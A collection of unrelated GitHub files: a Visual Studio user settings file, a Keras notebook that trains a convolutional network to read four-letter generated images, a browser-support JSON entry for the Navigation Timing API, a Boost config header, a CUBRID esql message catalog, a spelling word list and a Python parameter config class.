<?xml version="1.0" encoding="gb2312"?> <VisualStudioUserFile ProjectType="Visual C++" Version="9.00" ShowAllFiles="false" > <Configurations> <Configuration Name="Debug|Win32" > <DebugSettings Command="$(TargetPath)" WorkingDirectory="..\demo" CommandArguments="-p skin -i skin\index.xml -r duires\winres.rc2" Attach="false" DebuggerType="3" Remote="1" RemoteMachine="HUANGJX-PC" RemoteCommand="" HttpUrl="" PDBPath="" SQLDebugging="" Environment="" EnvironmentMerge="true" DebuggerFlavor="0" MPIRunCommand="" MPIRunArguments="" MPIRunWorkingDirectory="" ApplicationCommand="" ApplicationArguments="" ShimCommand="" MPIAcceptMode="" MPIAcceptFilter="" /> </Configuration> <Configuration Name="Release|Win32" > <DebugSettings Command="$(TargetPath)" WorkingDirectory="" CommandArguments="" Attach="false" DebuggerType="3" Remote="1" RemoteMachine="HUANGJX-PC" RemoteCommand="" HttpUrl="" PDBPath="" SQLDebugging="" Environment="" EnvironmentMerge="true" DebuggerFlavor="" MPIRunCommand="" MPIRunArguments="" MPIRunWorkingDirectory="" ApplicationCommand="" ApplicationArguments="" ShimCommand="" MPIAcceptMode="" MPIAcceptFilter="" /> </Configuration> </Configurations> </VisualStudioUserFile>
{ "pile_set_name": "Github" }
# coding: utf-8 # In[19]: import keras from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten from keras.layers import Conv2D, MaxPooling2D from keras import backend as K import numpy as np import cv2 import os import os.path import xlrd from sklearn import svm import numpy as np # # 读取图片及标签 # In[20]: import csv csvfile = open('GenPics/lables.csv') reader = csv.reader(csvfile) lables = [] for line in reader: tmp = [line[0],line[1]] #print tmp lables.append(tmp) csvfile.close() # In[21]: X = [] y = [] picnum = len(lables) print "picnum : ",picnum for i in range(0,picnum): img = cv2.imread("GenPics/" + lables[i][0] + '.jpg', cv2.IMREAD_GRAYSCALE) X.append(img) y.append(lables[i][1]) # In[22]: print len(X),X[0].shape print len(y),len(y[0]) # cv2.imshow("Image", X[9990]) # cv2.waitKey (0) # cv2.destroyAllWindows() # # 类别映射,[A-Z] -> [0-25] -> onehot 104维01向量(4*26) # In[23]: labeldict = {'A':0,'B':1,'C':2,'D':3,'E':4,'F':5,'G':6,'H':7,'I':8,'J':9, 'K':10,'L':11,'M':12,'N':13,'O':14,'P':15,'Q':16,'R':17,'S':18,'T':19, 'U':20,'V':21,'W':22,'X':23,'Y':24,'Z':25} num_classes = 26 X = np.array(X) for i in xrange(len(y)): c0 = keras.utils.to_categorical(labeldict[y[i][0]], num_classes) c1 = keras.utils.to_categorical(labeldict[y[i][1]], num_classes) c2 = keras.utils.to_categorical(labeldict[y[i][2]], num_classes) c3 = keras.utils.to_categorical(labeldict[y[i][3]], num_classes) c = np.concatenate((c0,c1,c2,c3),axis=1) y[i] = c y = np.array(y) y = y[:,0,:] print X.shape,y.shape print y[:2] # # 测试训练集划分 # In[24]: batch_size = 25 epochs = 60 # input image dimensions img_rows, img_cols = 20, 80 # In[25]: # the data, shuffled and split between train and test sets #(x_train, y_train), (x_test, y_test) = mnist.load_data() x_train = X[:4000] y_train = y[:4000] x_test = X[4000:] y_test = y[4000:] print K.image_data_format() print x_train.shape,x_test.shape if K.image_data_format() == 'channels_first': x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols) x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols) input_shape = (1, img_rows, img_cols) else: x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1) x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1) input_shape = (img_rows, img_cols, 1) print(x_train.shape,y_train.shape) print(x_test.shape,y_test.shape) # In[26]: #print x_test[:1] # In[27]: x_train = 255 - x_train x_test = 255 - x_test x_train = x_train.astype('float32') x_test = x_test.astype('float32') x_train /= 255 x_test /= 255 print('x_train shape:', x_train.shape) print(x_train.shape[0], 'train samples') print(x_test.shape[0], 'test samples') # In[28]: print lables[:2] print y_train[:2] # # 端到端识别模型定义 # In[29]: model = Sequential() model.add(Conv2D(32, kernel_size=(5, 9),activation='relu', input_shape=input_shape)) model.add(MaxPooling2D(pool_size=(2, 4))) model.add(Conv2D(16, kernel_size=(5, 7), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 3))) model.add(Flatten()) model.add(Dense(num_classes*4, activation='sigmoid')) model.compile(loss=keras.losses.binary_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) # In[30]: #模型图 from keras.utils.vis_utils import plot_model plot_model(model, to_file='Model/model.png',show_shapes=True) # # 模型训练 # In[31]: # from keras.models import load_model # model = load_model('Model/my_model.h5') # In[32]: model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, verbose=1, validation_data=(x_test, y_test)) # In[33]: model.save('Model/my_model.h5') # # 模型评估 # In[34]: score = model.evaluate(x_test, y_test, verbose=0) print('Test loss:', score[0]) print('Test accuracy:', score[1]) # In[35]: pred = model.predict(x_test,batch_size = 25) # In[36]: outdict = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'] correct_num = 0 for i in range(pred.shape[0]): c0 = outdict[np.argmax(pred[i][:26])] c1 = outdict[np.argmax(pred[i][26:26*2])] c2 = outdict[np.argmax(pred[i][26*2:26*3])] c3 = outdict[np.argmax(pred[i][26*3:])] c = c0+c1+c2+c3 #print c,lables[4000+i][1] if c == lables[4000+i][1]: correct_num = correct_num + 1 #统计整体正确率 print "Test Whole Accurate : ", float(correct_num)/len(pred) # In[ ]:
{ "pile_set_name": "Github" }
{ "title":"Navigation Timing API", "description":"API for accessing timing information related to navigation and elements.", "spec":"https://www.w3.org/TR/navigation-timing/", "status":"rec", "links":[ { "url":"https://developer.mozilla.org/en/API/navigationTiming", "title":"MDN Web Docs - Navigation Timing" }, { "url":"https://www.html5rocks.com/en/tutorials/webperformance/basics/", "title":"HTML5 Rocks tutorial" }, { "url":"https://www.webplatform.org/docs/apis/navigation_timing", "title":"WebPlatform Docs" } ], "bugs":[ ], "categories":[ "DOM", "JS API" ], "stats":{ "ie":{ "5.5":"n", "6":"n", "7":"n", "8":"n", "9":"y", "10":"y", "11":"y" }, "edge":{ "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y" }, "firefox":{ "2":"n", "3":"n", "3.5":"n", "3.6":"n", "4":"n", "5":"n", "6":"n", "7":"y", "8":"y", "9":"y", "10":"y", "11":"y", "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y" }, "chrome":{ "4":"n", "5":"n", "6":"y x", "7":"y x", "8":"y x", "9":"y x", "10":"y x", "11":"y x", "12":"y x", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y", "63":"y", "64":"y", "65":"y", "66":"y", "67":"y", "68":"y", "69":"y" }, "safari":{ "3.1":"n", "3.2":"n", "4":"n", "5":"n", "5.1":"n", "6":"n", "6.1":"n", "7":"n", "7.1":"n", "8":"y", "9":"y", "9.1":"y", "10":"y", "10.1":"y", "11":"y", "11.1":"y", "12":"y", "TP":"y" }, "opera":{ "9":"n", "9.5-9.6":"n", "10.0-10.1":"n", "10.5":"n", "10.6":"n", "11":"n", "11.1":"n", "11.5":"n", "11.6":"n", "12":"n", "12.1":"n", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y" }, "ios_saf":{ "3.2":"n", "4.0-4.1":"n", "4.2-4.3":"n", "5.0-5.1":"n", "6.0-6.1":"n", "7.0-7.1":"n", "8":"y", "8.1-8.4":"n", "9.0-9.2":"y", "9.3":"y", "10.0-10.2":"y", "10.3":"y", "11.0-11.2":"y", "11.3":"y" }, "op_mini":{ "all":"n" }, "android":{ "2.1":"n", "2.2":"n", "2.3":"n", "3":"n", "4":"y", "4.1":"y", "4.2-4.3":"y", "4.4":"y", "4.4.3-4.4.4":"y", "66":"y" }, "bb":{ "7":"n", "10":"y" }, "op_mob":{ "10":"n", "11":"n", "11.1":"n", "11.5":"n", "12":"n", "12.1":"n", "46":"y" }, "and_chr":{ "66":"y" }, "and_ff":{ "60":"y" }, "ie_mob":{ "10":"y", "11":"y" }, "and_uc":{ "11.8":"y" }, "samsung":{ "4":"y", "5":"y", "6.2":"y" }, "and_qq":{ "1.2":"y" }, "baidu":{ "7.12":"y" } }, "notes":"Removed in iOS 8.1 due to poor performance.", "notes_by_num":{ }, "usage_perc_y":94.41, "usage_perc_a":0, "ucprefix":false, "parent":"", "keywords":"performance,performance.timing,performancenavigation", "ie_id":"navigationtimingapi", "chrome_id":"5584144679567360", "firefox_id":"", "webkit_id":"specification-navigation-timing-level-1", "shown":true }
{ "pile_set_name": "Github" }
#ifndef BOOST_MPL_AUX_CONFIG_GCC_HPP_INCLUDED #define BOOST_MPL_AUX_CONFIG_GCC_HPP_INCLUDED // Copyright Aleksey Gurtovoy 2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ #if defined(__GNUC__) && !defined(__EDG_VERSION__) # define BOOST_MPL_CFG_GCC ((__GNUC__ << 8) | __GNUC_MINOR__) #else # define BOOST_MPL_CFG_GCC 0 #endif #endif // BOOST_MPL_AUX_CONFIG_GCC_HPP_INCLUDED
{ "pile_set_name": "Github" }
$ $ Copyright (C) 2008 Search Solution Corporation. All rights reserved by Search Solution. $ $ This program is free software; you can redistribute it and/or modify $ it under the terms of the GNU General Public License as published by $ the Free Software Foundation; either version 2 of the License, or $ (at your option) any later version. $ $ This program is distributed in the hope that it will be useful, $ but WITHOUT ANY WARRANTY; without even the implied warranty of $ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the $ GNU General Public License for more details. $ $ You should have received a copy of the GNU General Public License $ along with this program; if not, write to the Free Software $ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA $ $ $ $Id$ $ $ esql.msg $ $set 1 1 Non integer argument value "%1$s"\n 2 Non floating argument value "%1$s"\n 3 Missing argument %1$s\n 4 [options] 5 Options: \n 6 Missing argument value for key %1$s\n 7 Unknown option "%1$s"\n 8 Unexpected positional argument "%1$s"\n $set 2 1 Redefinition of cursor "%1$s" 2 *\tfor statement %1$s\n 3 *\n * Cursor table:\n $set 3 1 (INTERNAL ERROR in set_class_bit): bad storage class (%1$d) 2 (INTERNAL ERROR in add_spec_to_decl()): malformed chain (no specifier) 3 storage class specifier not allowed in this context 4 illegal storage class combination 5 illegal type combination 6 illegal modifier combination 7 (INTERNAL ERROR in pp_add_type_spec): unexpected case (%1$d) 8 (INTERNAL ERROR in pp_add_type_adj): unexpected case (%1$d) 9 improperly formed %1$s declaration $set 4 1 %1$s 2 %1$s: Not a directory\n 3 %1$s: Bad installation root?\n $set 5 1 ? 2 please check correctness of token 3 USING part not permitted for static cursor "%1$s" 4 cursor "%1$s" is undefined 5 pointer to a descriptor 6 pointer to a DB_OBJECT 7 character string 8 indicator variable for "%1$s" not allowed in this context 9 "%1$s" not declared in BEGIN DECLARE section 52 %1$s (text was "%2$s") 53 Lexical error 54 syntax error at "%1$s": missing %2$s in %3$s 55 syntax error at "%1$s": missing %2$s $set 6 1 suppress-line-directive 2 output-file 3 include-file 4 dump-scope-info 5 dump-malloc-info 6 announce-version 7 enable-uci-trace 8 disable-varchar-length 9 varchar2-style 10 unsafe-null 11 internal-indicator 12 input-file $set 7 1 suppress #line directives in output file, default off 2 output file name, default <input-file>.c or stdout 3 include file containing uci_ prototypes, default "esqlx.h" 4 dump scope debugging information, default off 5 dump final malloc debugging information, default off 6 print out version number information, default off 7 enable UCI function trace, default off 8 disable length initialization of VARCHAR host variable, default off 9 use different VARCHAR style, default off 10 ignore -462(null indicator needed) error, default off 11 use internal NULL indicator to prevent -462(null indicator needed) error, default off 12 input file name, default stdin $set 8 1 REPEATED option ignored 2 %1$s version %2$s\n $set 9 1 (yy_pop_mode) internal error: empty mode stack 2 "%1$s" is not permitted in this context $set 10 1 internal error in %1$s: %2$s\n 2 table overflow $set 11 1 indicator variable "%1$s" must be a short int 2 cannot use an indicator variable with a structure 3 "%1$s" has incomplete struct definition 4 "%1$s" must be a valid %2$s 5 %1$s is not an acceptable type for "%2$s" 6 unanticipated host variable type: %1$s 7 (pp_addr_expr): attempt to find address of NULL variable 8 "%1$s" is not a pointer 9 "%1$s" does not point to a struct 10 "%1$s" is not a struct 11 %1$s has no field "%2$s" 12 "%1$s" cannot be dereferenced by "%2$s" $set 12 1 out of memory $set 13 1 array of functions is illegal, assuming function pointers 2 (pp_the_same_type) unknown link class 3 (pp_get_sizeof): bad noun (%1$d) $set 14 1 (INTERNAL ERROR in %1$s): impossible case
{ "pile_set_name": "Github" }
databar appveyor SqlDataToExcel xlsm jameseholt params robinmalik scriptblock headsphere xelsirko importexcel Mihalicz idx Möller redoz dir pivotables WorkSheetname Lachance-Guillemette ints pscookiemonster ps pwd Nuget EPPLus intellisense PivtoTableName New-Excelchart paypal dll enums Numberformat ChartDefiniton hashtables Agramont AGramont Jhoneill
{ "pile_set_name": "Github" }
""" __file__ param_config.py __description__ This file provides global parameter configurations for the project. __author__ Chenglong Chen < c.chenglong@gmail.com > """ import os import numpy as np ############ ## Config ## ############ class ParamConfig: def __init__(self, feat_folder, drop_html_flag, basic_tfidf_ngram_range=(1,3), basic_tfidf_vocabulary_type="common", cooccurrence_tfidf_ngram_range=(1,1), cooccurrence_word_exclude_stopword=False, stemmer_type="snowball", count_feat_transform=np.sqrt): self.n_classes = 4 ## CV params self.n_runs = 3 self.n_folds = 3 self.stratified_label = "query" ## path self.data_folder = "../../Data" self.feat_folder = feat_folder self.original_train_data_path = "%s/train.csv" % self.data_folder self.original_test_data_path = "%s/test.csv" % self.data_folder self.processed_train_data_path = "%s/train.processed.csv.pkl" % self.feat_folder self.processed_test_data_path = "%s/test.processed.csv.pkl" % self.feat_folder self.pos_tagged_train_data_path = "%s/train.pos_tagged.csv.pkl" % self.feat_folder self.pos_tagged_test_data_path = "%s/test.pos_tagged.csv.pkl" % self.feat_folder ## nlp related self.drop_html_flag = drop_html_flag self.basic_tfidf_ngram_range = basic_tfidf_ngram_range self.basic_tfidf_vocabulary_type = basic_tfidf_vocabulary_type self.cooccurrence_tfidf_ngram_range = cooccurrence_tfidf_ngram_range self.cooccurrence_word_exclude_stopword = cooccurrence_word_exclude_stopword self.stemmer_type = stemmer_type ## transform for count features self.count_feat_transform = count_feat_transform ## create feat folder if not os.path.exists(self.feat_folder): os.makedirs(self.feat_folder) ## creat folder for the training and testing feat if not os.path.exists("%s/All" % self.feat_folder): os.makedirs("%s/All" % self.feat_folder) ## creat folder for each run and fold for run in range(1,self.n_runs+1): for fold in range(1,self.n_folds+1): path = "%s/Run%d/Fold%d" % (self.feat_folder, run, fold) if not os.path.exists(path): os.makedirs(path) ## initialize a param config config = ParamConfig(feat_folder="../../Feat/solution", drop_html_flag=True, stemmer_type="porter", cooccurrence_word_exclude_stopword=False)
{ "pile_set_name": "Github" }